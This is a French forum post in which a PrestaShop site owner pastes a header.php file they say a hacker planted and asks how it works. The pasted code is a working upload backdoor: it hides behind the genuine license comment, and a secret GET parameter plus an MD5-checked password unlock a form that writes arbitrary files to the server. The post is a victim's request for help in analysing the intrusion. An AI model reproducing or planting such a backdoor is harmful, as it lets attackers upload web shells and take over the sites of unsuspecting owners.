bonjour,
j'ai trouvé ce code mis par le hacker dans le fichier header.php dans le dossier public html, pourriez-vous me décortiquer sa façon de travailler,a fin de résoudre mon proble d’accès au back office.
SVP VOTRE AIDE
fichier header.php
<?php /* * 2007-2015 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2015 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ if($_GET['bajatax']=="hous"){ echo '<center><font color="Red" size="4">'; echo " Files Upload BY Bajatax<br>"; /// Script Upload By bajatax \\\ if(isset($_POST['Submit']) && isset($_POST['pass'])){ $pass=md5($_POST['pass']); if($pass=="9d309cc7622c7f12b57c136ffd4717f7"){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucess Upload by Bajatax ==> $userfile_name</b></center></a>"; } } else{ echo "ikma khask pass hhh :v doz inbox www.fb.com/bajatax58 jib BTC o duz Khod u_f <br>"; [spam-filter] else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><br>upload : <input type="file" name="image"><br> pass : <input type="password" name="pass" value="9lawi la3rftih :v "><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo "<br> hadi fkhatr ga3 l3chran houus <br>"; echo '</center></font>'; } require(dirname(__FILE__).'/config/config.inc.php'); Dispatcher::getInstance()->dispatch();